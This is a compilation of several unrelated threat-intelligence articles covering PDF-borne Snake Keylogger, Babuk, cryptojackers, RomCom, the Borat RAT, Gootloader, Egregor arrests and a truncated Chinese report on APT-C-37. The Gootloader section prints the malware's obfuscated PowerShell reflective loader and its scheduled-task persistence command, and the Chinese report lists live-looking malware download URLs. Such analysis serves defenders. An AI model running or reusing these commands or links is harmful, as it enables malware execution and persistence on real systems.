# PDF Malware Is Not Yet Dead For the past decade, attackers have preferred to package malware in Microsoft Office file formats, particularly Word and Excel. In fact, in Q1 2022 nearly half (45%) of malware stopped by HP Wolf Security used Office formats. The reasons are clear: users are familiar with these file types, the applications used to open them are ubiquitous, and they are suited to social engineering lures. In this post, we look at a malware campaign isolated by HP Wolf Security earlier this year that had an unusual infection chain. The malware arrived in a PDF document – a format attackers less commonly use to infect PCs – and relied on several tricks to evade detection, such as embedding malicious files, loading remotely-hosted exploits, and shellcode encryption. ## PDF Campaign Delivering Snake Keylogger A PDF document named “REMMITANCE INVOICE.pdf” was sent as an email attachment to a target. Since the document came from a risky vector – email, in this case – when the user opened it, HP Sure Click ran the file in an isolated micro virtual machine, preventing their system from being infected. After opening the document, Adobe Reader prompts the user to open a .docx file. The attackers sneakily named the Word document “has been verified. However PDF, Jpeg, xlsx, .docx” to make it look as though the file name was part of the Adobe Reader prompt. Analyzing the PDF file reveals that the .docx file is stored as an EmbeddedFile object. Investigators can quickly summarize the most important properties of a PDF document using Didier Stevens’ pdfid script. To analyze the EmbeddedFile, we can use another tool from Didier Stevens’ toolbox, pdf-parser. This script allows us to extract the file from the PDF document and save it to disk. ## Embedded Word Document If we return to our PDF document and click on “Open this file” at the prompt, Microsoft Word opens. If Protected View is disabled, Word downloads a Rich Text Format (.rtf) file from a web server, which is then run in the context of the open document. Since Microsoft Word does not say which server it contacted, we can use Wireshark to record the network traffic and identify the HTTP stream that was created. Let’s switch back to the Word document to understand how it downloads the .rtf. Since it is an OOXML (Office Open XML) file, we can unzip its contents and look for URLs in the document. The highlighted URL caught our eye because it’s not a legitimate domain found in Office documents. This URL is in the document.xml.rels file, which lists the document’s relationships. The relationship that caught our eye shows an external object linking and embedding (OLE) object being loaded from this URL. ## External OLE Object Connecting to this URL leads to a redirect and then downloads an RTF document called f_document_shp.doc. To examine this document more closely, we can use rtfobj to check if it contains any OLE objects. Here there are two OLE objects we can save to disk using the same tool. As indicated in the console output, both objects are not well-formed, meaning analyzing them with oletools could lead to confusing results. To fix this, we can use foremost to reconstruct the malformed objects. Then we can view basic information about the objects using oleid. This tells us the object relates to Microsoft Equation Editor, a feature in Word that is commonly exploited by attackers to run arbitrary code. ## Encrypted Equation Editor Exploit Examining the OLE object reveals shellcode that exploits the CVE-2017-11882 remote code execution vulnerability in Equation Editor. There are many analyses of this vulnerability, so we won’t analyze it in detail. Instead, we focus below on how the attacker encrypted the shellcode to evade detection. The shellcode is stored in the OLENativeStream structure at the end of the object. We can then run the shellcode in a debugger, looking for a call to GlobalLock. This function returns a pointer to the first byte of the memory block, a technique used by shellcode to locate itself in memory. Using this information, the shellcode jumps to a defined offset and runs a decryption routine. The key is multiplied by a constant and added at each iteration. The ciphertext is then decrypted each time with an XOR operation. The decrypted data is more shellcode, which is executed afterwards. Without running it further, we see that the malware downloads an executable called fresh.exe and runs it in the public user directory using ShellExecuteExW. The executable is Snake Keylogger, a family of information-stealing malware that we have written about before. We can now extract indicators of compromise (IOCs) from this malware, for example using dynamic analysis. At this point, we have analyzed the complete infection chain and collected IOCs, which can now be used for threat hunts or building new detections. ## Conclusion While Office formats remain popular, this campaign shows how attackers are also using weaponized PDF documents to infect systems. Embedding files, loading remotely-hosted exploits, and encrypting shellcode are just three techniques attackers use to run malware under the radar. The exploited vulnerability in this campaign (CVE-2017-11882) is over four years old, yet continues being used, suggesting the exploit remains effective for attackers. ## IOCs - REMMITANCE INVOICE.pdf 05dc0792a89e18f5485d9127d2063b343cfd2a5d497c9b5df91dc687f9a1341d has been verified. however pdf, jpeg, xlsx, .docx 250d2cd13474133227c3199467a30f4e1e17de7c7c4190c4784e46ecf77e51fe - f_document_shp.doc 165305d6744591b745661e93dc9feaea73ee0a8ce4dbe93fde8f76d0fc2f8c3f f_document_shp.doc_object_00001707.raw 297f318975256c22e5069d714dd42753b78b0a23e24266b9b67feb7352942962 - Exploit shellcode f1794bfabeae40abc925a14f4e9158b92616269ed9bcf9aff95d1c19fa79352e - fresh.exe (Snake Keylogger) 20a3e59a047b8a05c7fd31b62ee57ed3510787a979a23ce1fde4996514fae803 - External OLE reference URL hxxps://vtaurl[.]com/IHytw - External OLE reference final URL hxxp://192.227.196[.]211/tea_shipping/f_document_shp.doc - Snake Keylogger payload URL hxxp://192.227.196[.]211/FRESH/fresh.exe - Snake Keylogger exfiltration via SMTP mail.saadzakhary[.]com:587 ## Tags CVE-2017-11882, PDF, snake
# Babuk Re-organizes as Payload Bin, Offers Its First Leak At the end of April, threat actors known as Babuk indicated that they were closing up shop and switching to a different model: > Babuk changes direction, we no longer encrypt information on networks, we will get to you and take your data, we will notify you about it if you do not get in touch we make an announcement. Also for other groups that do not have their own blog or have but they want to exert additional pressure, you can not be placed with us. Two weeks later, they wrote: > Hello! We announce the development of something really cool, a huge platform for independent leaks, we have no rules and bosses, we will publish private products in a single information platform where we will post leaks of successful no-name teams that do not have their own blogs and names, these are not girls who run with ship like rats and change the policy of their resources. These are really strong guys. Another loud leak awaits you within a week. Today, we began to see the changes as the site is now called Payload Bin. The About and Rules pages are not available yet and so far there is only one leak listed under Announcements: CD Projekt. CD Projekt was attacked in February by attackers using what is believed to be the Hello Kitty ransomware. The hackers had put the stolen source code up for sale on a Russian-language forum, listing it all as: - Full sources for the games Thronebreaker, Witcher 3, the undeclared Witcher 3 RTX (the version of the Witcher with raytracing) and of course Cyberpunk 2077 - Dumps of internal documents - CD Projekt RED offenses. They subsequently withdrew the auction listing, claiming that they had received a satisfactory offer from outside of the forum, and that because of a condition of no further distribution, they were removing the listing from auction. Now Payload Bin says they will make all source code available on its site. So what, exactly, happened to that sale with “no further distribution?”
# Hardware-based Threat Defense Against Increasingly Complex Cryptojackers Even with the dip in the value of cryptocurrencies in the past few months, cryptojackers – trojanized coin miners that attackers distribute to use compromised devices’ computing power for their objectives – continue to be widespread. In the past several months, Microsoft Defender Antivirus detected cryptojackers on hundreds of thousands of devices every month. These threats also continue to evolve: recent cryptojackers have become stealthier, leveraging living-off-the-land binaries (LOLBins) to evade detection. To provide advanced protection against these increasingly complex and evasive threats, Microsoft Defender Antivirus uses various sensors and detection technologies, including its integration with Intel® Threat Detection Technology (TDT), which applies machine learning to low-level CPU telemetry to detect threats even when the malware is obfuscated and can evade security tools. Using this silicon-based threat detection, Defender analyzes signals from the CPU performance monitoring unit (PMU) to detect malware code execution “fingerprint” at run time and gain unique insights into malware at their final execution point, the CPU. The combined actions of monitoring at the hardware level, analyzing patterns of CPU usage, and using threat intelligence and machine learning at the software level enable the technology to defend against cryptojacking effectively. ## Looking at the Current Cryptojacker Landscape There are many ways to force a device to mine cryptocurrency without a user’s knowledge or consent. The three most common approaches used by cryptojackers are the following: 1. **Executable**: These are typically potentially unwanted applications (PUAs) or malicious executable files placed on the devices and designed to use system resources to mine cryptocurrencies. 2. **Browser-based**: These miners are typically in the form of JavaScript (or similar technology) and perform their function in a web browser, consuming resources for as long as the browser remains open on the website where they are hosted. These miners are commonly injected into legitimate websites without the owner’s knowledge or consent. In other cases, the miners are intentionally included in attacker-owned or less reputable websites that users might visit. 3. **Fileless**: These cryptojackers perform mining in a device’s memory and achieve persistence by misusing legitimate tools and LOLBins. The executable and browser-based approaches involve malicious code that’s present in either the filesystem or website that can be relatively easily detected and blocked. The fileless approach, on the other hand, misuses local system binaries or preinstalled tools to mine using the device’s memory. This approach allows attackers to achieve their goals without relying on specific code or files. Moreover, the fileless approach enables cryptojackers to be delivered silently and evade detection. These make the fileless approach more attractive to attackers. While newer cryptojackers use the fileless approach, its engagement of the hardware, which it relies on for its mining algorithm, becomes one of the ways to detect cryptojacking activities. ## Misuse of LOLBins in Recent Cryptojacking Campaigns Through its various sensors and advanced detection methodologies, including its integration with Intel TDT, Microsoft Defender Antivirus sees cryptojackers that take advantage of legitimate system binaries on more than 200,000 devices daily. Attackers heavily favor the misuse of notepad.exe among several legitimate system tools in observed campaigns. We analyzed an interesting cryptojacking campaign abusing notepad.exe and several other binaries to carry out its routines. This campaign used an updated version of the cryptojacker known as Mehcrypt. This new version packs all of its routines into one script and connects to a command-and-control (C2) server in the latter part of its attack chain, a significant update from the old version, which ran a script to access its C2 and download additional components that then perform malicious actions. The threat arrives as an archive file containing autoit.exe and a heavily obfuscated, randomly named .au3 script. Opening the archive file launches autoit.exe, which decodes the .au3 script in memory. Once running, the script further decodes several layers of obfuscation and loads additional decoded scripts in memory. The script then copies itself and autoit.exe in a randomly named folder in C:\ProgramData. The script creates a scheduled task to delete the original files and adds autostart registry entries to run the script every time the device starts. After adding persistence mechanisms, the script then loads malicious code into VBC.exe via process hollowing and connects to a C2 server to listen for commands. Based on the C2 response, the script loads its cryptojacking code into notepad.exe, likewise via process hollowing. At this point, as the threat starts its cryptojacking operation via malicious code injected into notepad.exe, a huge jump in CPU usage can be observed. This high CPU usage anomaly is analyzed in real-time by both Intel TDT and Microsoft Defender Antivirus. Based on Intel TDT’s machine learning-based correlation of CPU telemetry and other suspicious activities like process injection into system binaries, Microsoft Defender Antivirus blocks the process execution (Behavior:Win32/CoinMiner.CN!tdt), and Microsoft Defender for Endpoint raises an alert. ## Advanced Threat Detection Technology Helps Stop Cryptojacking Activities To detect evasive cryptojackers, Microsoft Defender Antivirus and Intel TDT work together to monitor and correlate hardware and software threat data. Intel TDT leverages signals from the CPU, analyzing these signals to detect patterns modeled after cryptojacking activity using machine learning. Microsoft Defender Antivirus then uses these signals and applies its threat intelligence and machine learning techniques to identify and block the action at the software level. Intel TDT has added several performance improvements and optimizations, such as offloading the machine learning inference to Intel’s integrated graphics processing unit (GPU) to enable continuous monitoring. This capability is available on Intel Core™ processors and Intel vPro® branded platforms from the 6th generation onwards. By design, Microsoft Defender Antivirus leverages these offloading capabilities where applicable. In addition to industry partnerships, Microsoft’s consistent monitoring of the threat landscape powers the threat intelligence that feeds into products like Microsoft Defender Antivirus and Microsoft Defender for Endpoint, where knowledge is translated to customer protection in real-time. Suriyaraj Natarajan, Andrea Lelli, Amitrajit Banerjee Microsoft 365 Defender Research Team
# Void Rabisu’s Use of RomCom Backdoor Shows a Growing Shift in Threat Actors’ Goals Void Rabisu, a malicious actor believed to be associated with the RomCom backdoor, was thought to be driven by financial gain because of its ransomware attacks. However, the use of the RomCom backdoor in recent attacks indicates a shift in Void Rabisu's motives since at least October 2022. Since the start of the war in Ukraine in February 2022, the number of cyber campaigns against Ukraine and NATO countries has increased significantly. These campaigns come from various actors, including known advanced persistent threat (APT) actors, previously unreported APT actors, cyber mercenaries, hacktivists, and criminal actors who appear to have shifted from purely financial motives to geopolitical goals. The line between their campaigns has started to blur, with overlaps in targeting and modes of operation becoming apparent. For instance, in 2022, one of Conti’s affiliates was found using its initial access techniques against Ukraine instead of spreading ransomware. Another example is Void Rabisu, also known as Tropical Scorpius, which is believed to be associated with Cuba ransomware and the RomCom backdoor. Although Void Rabisu was initially thought to be financially motivated, its associated Cuba ransomware allegedly attacked the parliament of Montenegro in August 2022, suggesting a geopolitical agenda. The motives of Void Rabisu seem to have changed since at least October 2022, when the RomCom backdoor was reported to have been used in attacks against the Ukrainian government and military. In a December 2022 campaign, a fake version of the Ukrainian army’s DELTA situational awareness website was used to lure targets into installing the RomCom backdoor. Normally, such a brazen attack would be attributed to a nation-state-sponsored actor, but indicators pointed towards Void Rabisu, with tactics, techniques, and procedures (TTPs) typically associated with cybercrime. Trend Micro’s telemetry and research corroborate that the RomCom backdoor has been used in geopolitically motivated attacks since at least October 2022, targeting organizations in Ukraine’s energy and water utility sectors, as well as entities outside Ukraine, including a provincial local government aiding Ukrainian refugees, a European parliament member, a European defense company, and various IT service providers in Europe and the US. Independent research from Google showed that RomCom was used in campaigns against attendees of the Masters of Digital conference and the Munich Security Conference. We will discuss how the use of the RomCom backdoor fits into the current landscape, where politically motivated attacks are not committed by nation-state actors alone. Although we cannot confirm coordination between the different attacks, Ukraine and its allies are being targeted by various actors, including APT actors, hacktivists, cyber mercenaries, and cybercriminals like Void Rabisu. We will also delve into how RomCom has evolved over time and how the backdoor is spread through methods resembling APT tactics and those used by prominent cybercriminal campaigns, demonstrating that RomCom employs detection evasion techniques popular among impactful cybercriminals. RomCom campaigns have been tracked since the summer of 2022, with an escalation in detection evasion methods. Malware samples routinely use VMProtect to complicate manual and automated sandbox analysis and utilize binary padding techniques on payload files, significantly increasing the size of the malicious payload. A new routine has been added that involves encrypting the payload files, which can only be decrypted if a specific key is downloaded to activate the payload. In addition to these technical evasion techniques, RomCom is distributed using lure sites that often appear legitimate and are utilized for narrow targeting, making automated blocking through web reputation systems more challenging. Void Rabisu has used Google Ads to entice targets to visit lure sites, opting for narrower targeting than campaigns like IcedID. RomCom campaigns also employ highly targeted spear phishing emails. On the RomCom lure sites, targets are offered trojanized versions of legitimate applications, such as chat apps, PDF readers, remote desktop apps, password managers, and other tools typically used by system administrators. RomCom was used in specific campaigns against Ukrainian targets, including the Ukrainian government and military. Trend Micro’s telemetry confirms this targeting, with evidence of Ukrainian-language social engineering lures back in October and November 2022. A few dozen lure websites have been set up since July 2022, showing a mix of targeting methodologies that combine typical cybercriminal TTPs with those more common for APT actors. Among the targets identified were a water utility company, entities in the financial and energy sectors, and an IT company in Ukraine. Outside Ukraine, targets included a local government agency supporting Ukrainian refugees, a defense company in Europe, a high-profile European politician, several IT service providers in Europe and the US, a bank in South America, and targets in Asia. ## RomCom 3.0: The AstraChat Campaign In February 2023, one of the RomCom backdoor samples was used against targets in Eastern Europe. Previous RomCom versions used a modular architecture supporting up to 20 different commands. The malware has evolved significantly in terms of supported commands, but its modular architecture remains largely unchanged. The threat actor behind RomCom 3.0 employs various techniques to drop and execute the malware, including embedding RomCom 3.0 in an AstraChat instant messaging software installation package. The file `astrachat.msi` is a Microsoft Installer (MSI) archive that installs files related to legitimate AstraChat software while unpacking a malicious `InstallA.dll` file. This file extracts three Dynamic Link Libraries (DLLs) under the `%PUBLIC%\Libraries` folder. For persistence, RomCom uses COM hijacking, writing a registry value in Windows Registry that causes processes requesting a specific Class ID (CLSID) to load the RomCom loader DLL. The RomCom loader redirects calls to its exported functions to the legitimate `actxprxy.dll` while executing malicious code at the DLL entry point. RomCom 3.0 consists of three components: a loader, a network component interacting with the command-and-control (C&C) server, and a worker component performing actions on the victim’s machine. The network component receives commands from the C&C server and sends back results. Commands are received as responses to HTTP POST requests made by the malware network component. RomCom 3.0 has 42 valid commands, including commands for gathering information about connected drives, sending lists of files, uploading and downloading files, and executing processes. Additional components include a screenshot program, a stealer for browser cookies, a crypto wallet grabber, and an instant messaging grabber. RomCom 3.0 binaries are protected with VMProtect, and some binaries are signed with valid certificates. The malware uses techniques like appending null bytes to files to evade detection and has evolved to download components from the C&C server instead of dropping them. The malware uses fake companies and websites to lend credibility to the software that targets victims download. The companies signing these binaries often appear legitimate but reveal oddities upon closer inspection, suggesting they may be fake or abused for signing purposes. ## Conclusions and Recommendations The war against Ukraine has made cyber campaigns against Ukraine, Eastern Europe, and NATO countries more visible due to the dramatic increase in attacks and heightened scrutiny from both private and public sectors. The line is blurring between cybercrime driven by financial gain and APT attacks motivated by geopolitics, espionage, disruption, and warfare. Currently, various actors, including APT groups, cyber mercenaries, hacktivists, and cybercriminals, are targeting Ukraine and its allies, with campaigns that do not yet appear coordinated. Significant geopolitical events are likely to accelerate the alignment of threat actors' campaigns, posing new challenges for defenders. Based on our analysis, the following activities should be monitored in endpoints: - Downloading and executing MSI packages with entries in CustomAction tables referring to DLL exported functions. - Writing access to `SOFTWARE\Classes\CLSID\<CSLID>` under both `HKEY_CURRENT_USER` and `HKEY_LOCAL_MACHINE`, indicating potential COM hijacking. - Initiation of localhost sockets by `rundll32.exe`, as RomCom DLLs are loaded by this process. - Binary padding with null bytes, a known evasion technique. - Binary padding with non-zero data, which should be flagged for further investigation. Endpoint solutions like Trend Micro's Smart Protection Suites and Worry-Free Business Security offer protection against threats like RomCom, equipped with behavior-monitoring capabilities to detect malicious files, scripts, and messages. By leveraging these tools, users and businesses can effectively defend against the damaging effects of RomCom and similar threats.
# New Borat Remote Access Malware is No Laughing Matter A new remote access trojan (RAT) named Borat has appeared on darknet markets, offering easy-to-use features to conduct DDoS attacks, UAC bypass, and ransomware deployment. As a RAT, Borat enables remote threat actors to take complete control of their victim’s mouse and keyboard, access files, network points, and hide any signs of their presence. The malware lets its operators choose their compilation options to create small payloads that feature precisely what they need for highly tailored attacks. Borat was analyzed by researchers at Cyble, who spotted it in the wild and sampled the malware for a technical study that revealed its functionality. ## Extensive Features It is unclear if the Borat RAT is sold or freely shared among cybercriminals, but Cyble says it comes in the form of a package that includes a builder, the malware’s modules, and a server certificate. The features of the trojan, each having its own dedicated module, include the following: - **Keylogging** – monitor and log key presses and store them in a txt file - **Ransomware** – deploy ransomware payloads onto the victim’s machine and automatically generate a ransom note through Borat - **DDoS** – direct garbage traffic to a target server by using the compromised machine’s resources - **Audio recording** – record audio via the microphone, if available, and store it in a wav file - **Webcam recording** – record video from the webcam, if available - **Remote desktop** – start a hidden remote desktop to perform file operations, use input devices, execute code, launch apps, etc. - **Reverse proxy** – set up a reverse proxy to protect the remote operator from having their identity exposed - **Device info** – gather basic system information - **Process hollowing** – inject malware code into legitimate processes to evade detection - **Credential stealing** – steal account credentials stored in Chromium-based web browsers - **Discord token stealing** – steal Discord tokens from the victim - **Other functions** – disrupt and confuse the victim by playing audio, swapping the mouse buttons, hiding the desktop, hiding the taskbar, holding the mouse, turning off the monitor, showing a blank screen, or hanging the system As noted in Cyble’s analysis, the above features make Borat essentially a RAT, spyware, and ransomware, so it’s a potent threat that could conduct a variety of malicious activity on a device. All in all, even though the RAT's developer decided to name it after the main character of the comedy movie Borat, incarnated by Sacha Baron Cohen, the malware is no joke at all. By digging deeper trying to find the origin of this malware, Bleeping Computer found that the payload executable was recently identified as AsyncRAT, so it's likely that its author based his work on it. Typically, threat actors distribute these tools via laced executables or files that masquerade as cracks for games and applications, so be careful not to download anything from untrustworthy sources such as torrents or shady sites. ## About the Author Bill Toulas is a technology writer and infosec news reporter with over a decade of experience working on various online publications. An open source advocate and Linux enthusiast, he is currently finding pleasure in following hacks, malware campaigns, and data breach incidents, as well as exploring the intricate ways through which tech is swiftly transforming our lives.
# Gootloader Analysis Over the past several years, Red Canary has routinely detected activity involving a threat known as Gootloader: malware that can deliver additional payloads, siphon data from victims, and stealthily persist in a compromised environment. Gootloader was originally delivered via spam campaigns and older exploit kits. We’ve increasingly observed Gootloader operators using search engine optimization (SEO) poisoning tactics to gain access to victims’ environments and initiate multi-pronged intrusions involving follow-on payloads such as Cobalt Strike and Gootkit. Gootloader specifically represents a significant threat to enterprise environments because it is designed to deliver additional malware. We included it as a highlighted threat in our 2022 Threat Detection Report, and it boasts a regular presence in our monthly top 10 rankings for Intelligence Insights. Despite the high volume of Gootloader infections, there is relatively little reporting available on complete intrusion chains. ## Distinguishing Gootloader from Gootkit We historically referred to both Gootloader and Gootkit under the same name of “Gootkit,” but after realizing others in the community tracked these as different threats, we decided to do the same. Separating the initial delivery and loader distinctly from the payload also allows us to better track variations in follow-on activity. We decided to impose an analytic boundary between Gootloader and Gootkit after the execution of the .NET DLL module commonly observed in intrusion chains involving these threats. This division is consistent with parameters outlined by researchers from Kaspersky and allows us to account for variations in activity observed after Gootloader more precisely. Though Gootkit may be a follow-on payload, we’ve also observed other activity following Gootloader infections, including Cobalt Strike beacons and the Osiris banking trojan. Below you’ll find our analysis on Gootloader, the most prolific piece of the intrusion chain, and its capabilities. ## Initial Access Gootloader operators compromise legitimate infrastructure, such as WordPress blogs, and seed those sites with common keywords. Operators then use SEO techniques in an attempt to direct anyone entering those keywords into a search engine to a site that lures users to download a ZIP file containing the initial Gootloader script. Previous work from Sophos and other organizations covers this aspect of Gootloader in great detail. From our own investigations, we’ve discovered trends relating to possible search terms that lead users to Gootloader. It’s not clear if operators are specifically targeting individuals in specific functions across specific organizations, or if they cast a more opportunistic net, using common terms that potential victims may be more likely to seek out on their own. The majority of the Gootloader campaigns we’ve observed involved initial malicious ZIP files containing the word “agreement” in the file name. We can identify victims’ search queries based on the name of the malicious ZIP file that contains the Gootloader script. The malicious ZIP name is usually the user’s search query terms joined by dashes. For example, if a user searched for “mortgage subordination agreement,” the downloaded ZIP would be named `mortgage_subordination_agreement.zip`. ## Execution The first stage of Gootloader on the endpoint is a JScript file extracted from a ZIP file and executed via `wscript.exe`. While these JScript files have been a common Gootloader entry point since December 2020, the scripts changed around October 2021 to masquerade as legitimate jQuery JavaScript library files. To achieve this masquerading, the adversary creates scripts by mixing malicious Gootloader code with benign jQuery library code, producing a file around 296KB in size. Gootloader queries the value of the `USERDNSDOMAIN` environment variable, which is a simple check to determine if the affected host is part of an Active Directory domain. This means that the malware specifically targets business or enterprise victims that use Active Directory. On systems where the check passes, Gootloader pulls down an additional JScript stage that executes in the same `wscript.exe` process. That stage contains two embedded payloads: a .NET DLL component and a Cobalt Strike beacon or other malware component. During execution, these two payloads are written into Windows Registry keys to enable persistence. ## Persistence Once these payloads are distributed into registry keys, the script executes two PowerShell commands. The first retrieves the .NET DLL from the Windows Registry, reflectively loads it, and executes a function within the DLL named “Test()”. ```powershell sleep -s 83;$opj=Get-ItemProperty -path ("hk"+"cu:\sof"+"tw"+"are\mic"+"ros"+"oft\Phone\"+[Environment]::("use"+"rn"+"ame")+"0");for ($uo=0;$uo -le 760;$uo++) {Try{$mpd+=$opj.$uo}Catch{}};$uo=0;while($true){$uo++;$ko=[math]::("sq"+"rt")($uo);if($ko -eq 1000){break}}$yl=$mpd.replace("#",$ko);$kjb=[byte[]]::("ne"+"w")($yl.Length/2);for($uo=0;$uo -lt $yl.Length;$uo+=2){$kjb[$uo/2]=[convert]::("ToB"+"yte")($yl.Substring($uo,2),(2*8))}[reflection.assembly]::("Lo"+"ad")($kjb);[Open]::("Te"+"st")(); ``` The second PowerShell command establishes persistence via a scheduled task using a combination of cmdlets. The execution of the .NET DLL module is one of the main differentiators between traditional Gootkit and the initial Gootloader. ```powershell $a="[Base64 code]...";$u=$env:USERNAME;Register-ScheduledTask $u -In (New-ScheduledTask -Ac (New-ScheduledTaskAction -E ([Diagnostics.Process]::GetCurrentProcess().MainModule.FileName) -Ar ("-w h -e "+$a)) -Tr (New-ScheduledTaskTrigger -AtL -U $u)); ``` ## Follow-on Payload In the .NET DLL module, the adversary implements code to pull an obfuscated payload (such as Cobalt Strike) from a Windows Registry key, remove the obfuscation, and then execute its contents. The decoding part is fairly straightforward, using text replacement to shield the malware from cursory inspection. Follow-on payloads vary and have included Cobalt Strike, Gootkit, and Osiris. In the event Cobalt Strike is the follow-on payload, see our malware analysis for more details. Red Canary recommends detecting Gootloader activity to catch this threat early in the intrusion chain. ## Detection Opportunities ### Windows Script Host (`wscript.exe`) executing content from a user’s AppData folder This detection opportunity identifies the Windows Script Host, `wscript.exe`, executing a JScript file from the user’s AppData folder. This works well to detect instances where a user has double-clicked into a Gootloader ZIP file and then double-clicked on the JScript script to execute it. ```plaintext process == (wscript.exe) && process_command_line_includes == appdata\*.js ``` ### PowerShell (`powershell.exe`) performing a reflective load of a .NET assembly This detection opportunity identifies PowerShell loading a .NET assembly into memory for execution using the `System.Reflection` capabilities of the .NET Framework. This detects PowerShell loading the .NET component of Gootloader and multiple additional threats in the wild. ```plaintext process == (powershell.exe) && process_command_line_includes == Reflection.Assembly AND Load AND byte[] ``` ### Rundll32 (`rundll32.exe`) with no command-line arguments This detection opportunity identifies `rundll32.exe` executing with no command-line arguments as an injection target like we usually see for Cobalt Strike beacon injection. The beacon distributed by Gootloader in this instance used `rundll32.exe`, as do many other beacons found in the wild. ```plaintext process == rundll32.exe && command_line_includes (“”)* && has_network_connection || has_child_process ``` *Note: “” indicates a blank command line. ## Mitigation Advice You can prevent Gootloader from executing by changing the default file association for JScript files on your Windows systems. Consider using a Group Policy Object to associate JScript files with `notepad.exe` instead of `wscript.exe`. This will make the malicious scripts open in Notepad when a victim double-clicks on the file. For successful execution, the victim would have to manually issue a `wscript.exe` command instead. Additionally, a little bit of education can help mitigate Gootloader. In all of the instances we observed, victims were seeking legal agreement documents via Google searches. Documenting safe places to obtain legal documents can help prevent users from downloading potentially malicious files.
# Alleged Members of Egregor Ransomware Cartel Arrested Three alleged members of the Egregor ransomware cartel were apprehended in Ukraine in a crackdown conducted by the French and Ukrainian authorities last month. The arrests were also made possible with the help of private-public sector partnerships, which include Trend Micro. ## About Egregor Ransomware Since its first appearance in September 2020, Egregor ransomware has been involved in high-profile attacks against retailers, human resource service companies, and other organizations. It operated under the ransomware-as-a-service (RaaS) model where groups sell or lease ransomware variants to affiliates, making it relatively easier even for inexperienced cybercriminals to launch attacks. Like some prominent ransomware variants, Egregor employs a “double extortion” technique where the operators threaten affected users with both the loss and public exposure of the encrypted data. The ransomware is typically distributed as a secondary payload to remote access trojans such as QAKBOT. It also spreads through phishing emails with malicious attachments or via remote desktop protocol (RDP) or VPN exploits. ## Further Details on the Arrests French law enforcement initiated the investigation on the Egregor operators after the latter launched attacks on several France-based companies for logistics, newspaper publication, and video game development. The three suspects were arrested after French authorities tracked them down with the help of Ukrainian authorities. The names and the exact designations of the arrestees have not been released. In an email interview with The Record about the incident, François B., the Head of the Computer Security Incident Response Team for the French Judicial Police (CSIRT-PJ), cited partnerships with cybersecurity and incident response companies including Trend Micro. He noted that these organizations help in active investigations as they “provide us with the most accurate information on an ongoing case, tools, or threat intelligence data.” ## Protecting Systems Against Ransomware Ransomware is a persistent security problem that unceasingly and rapidly evolves into an even more destructive threat. To protect systems from ransomware, users are advised to follow these best practices: - Avoid downloading attachments and clicking on links in emails from unverified sources. - Regularly patch and update operating systems, programs, and software. - Periodically back up files by observing the 3-2-1 rule: Create at least three copies of the data, store it in two different formats, and keep at least one duplicate offsite. Security solutions such as Trend Micro XDRTM also offer protection across different components of the system, including email, endpoints, servers, cloud workloads, and networks. By collecting and correlating data in all these layers, security and IT teams gain a better context of attacks that otherwise may seem insignificant on their own. This allows faster and more accurate detections.
# 拍拍熊(APT-C-37):持续针对某武装组织的攻击活动揭露 ## 一、 概述 从2015年10月起至今,拍拍熊组织(APT-C-37)针对某武装组织展开了有组织、有计划、针对性的长期不间断攻击。其攻击平台为Windows和Android,截止目前360烽火实验室(360 Beaconlab)一共捕获了Android平台攻击样本32个,Windows平台攻击样本13个,涉及的C&C域名7个。 某武装组织由于其自身的政治、宗教等问题,使其成为了众多黑客及国家的攻击目标。2017年3月,某武装组织Amaq媒体频道发布了一条警告消息,该消息提醒访问者该网站已被渗透,任何访问该网站的人都会被要求下载伪装成Flash安装程序的病毒文件。从消息中我们确定了某武装组织是该行动的攻击目标,其载荷投递方式至少包括水坑式攻击。 通过分析,我们发现拍拍熊组织使用到的一个主要C&C位于中东某国,且和同时期的黄金鼠组织使用的C&C属于同一个网段。进一步分析对比,两个组织有很强的关联性,然两者又包含有各自的特有RAT。 由于拍拍熊组织的攻击目标针对的是某武装组织,支持双平台攻击,另史上曾经出现过唯一一种获有士兵证的中东某国特色动物,结合该组织的一些其它特点以及360对APT组织的命名规则,我们将该组织命名为DOTA游戏里的一个角色名——拍拍熊。 ## 二、 载荷投递 此次拍拍熊组织载荷投递的方式主要为水坑攻击。 ### 水坑攻击 Al Swarm新闻社网站是一个属于某武装组织的媒体网站,同样的原因,使其也遭受着来自世界各地的各种攻击,曾更换过几次域名,网站目前已经下线。拍拍熊组织除了对上述提到的Amaq媒体网站进行水坑攻击外,我们发现Al Swarm新闻社也同样被该组织用来水坑攻击。 该水坑攻击方式采用的是把Al Swarm站的正常APP替换成一个插入RAT后的恶意APP,其RAT具体下载链接和链接对应文件MD5见表1。 | 恶意下载链接 | 域名状态 | 下载的APK文件MD5 | | -------------- | -------- | ------------------ | | https://sawarim.net/apps/Sawarim.apk | 失效 | bb2d1238c8418cde13128e91f1a77ae7 | 除了上面两个针对某武装组织新闻媒体网站的水坑攻击外,我们还发现到该组织使用到的一些其它历史水坑攻击见表2,包含了Android端和Windows端RAT程序具体下载链接和链接对应文件MD5。 | 恶意下载链接 | 域名状态 | 下载的APK文件MD5 | | -------------- | -------- | ------------------ | | http://androids-app.com/downloads/Youtube_v3_4.apk | 失效 | dc1ede8e2d3206b04cb95b6ae62f43e0 | | http://androids-app.com/SystemUI.exe | 失效 | d2c40e2183cf18855c36ddd14f8e966f | | http://snapcard.argia.co.id/woocommerce/wp-content/plugins/Adobe_FlashPlayerX86_64.exe | 失效 | 8c49833f76b17fdaafe5130f249312ca | | http://androids-app.com/downloads/Youtube_v3_4.apk | 失效 | e6e676df8250a7b930b2d016458225e2 | ## 三、 诱导方式 拍拍熊组织在这次行动中主要使用以下两种诱导方式: ### 含有正常APP功能的伪装 为更好的躲避被察觉到,除了对文件图标进行伪装外,还会把RAT插入到正常的APP中,如一款名为“لﻮﺳﺮﻟا تﺎﺟوز”的APP,它运行后展示的是正常时的界面,但当接收到指定的广播时,便在后台进行间谍活动。 ### 文件图标伪装 ## 四、 RAT攻击样本分析 截至目前,拍拍熊组织此次攻击活动已使用到数种分别针对Android和Windows的不同RAT。 ### Android Android端共使用到三种RAT,其中有两种(DroidJack和SpyNote)是使用较频繁的商业RAT,曾在多个黑客论坛上进行传播,已被多家安全公司查杀和曝光。而另外一种我们认为是专门为此次攻击开发的,我们命名为SSLove,其仅出现在该活动中,并历经数个版本的更新。 #### DroidJack Droidjack是一个极度流行的RAT,有自己的官网,功能强大,且有便捷的管理工具。该组织在使用Droidjack时除了直接使用外;还会把其插入到正常APP中进行隐藏,有趣的是同时SSLove也会一块插入到该APP中,这意味着该APP会同时带有两种RAT。 #### SpyNote SpyNote类似Droidjack,虽然拍拍熊组织使用到SpyNote,但该RAT在此次攻击活动中被用到的次数有限。 #### SSLove 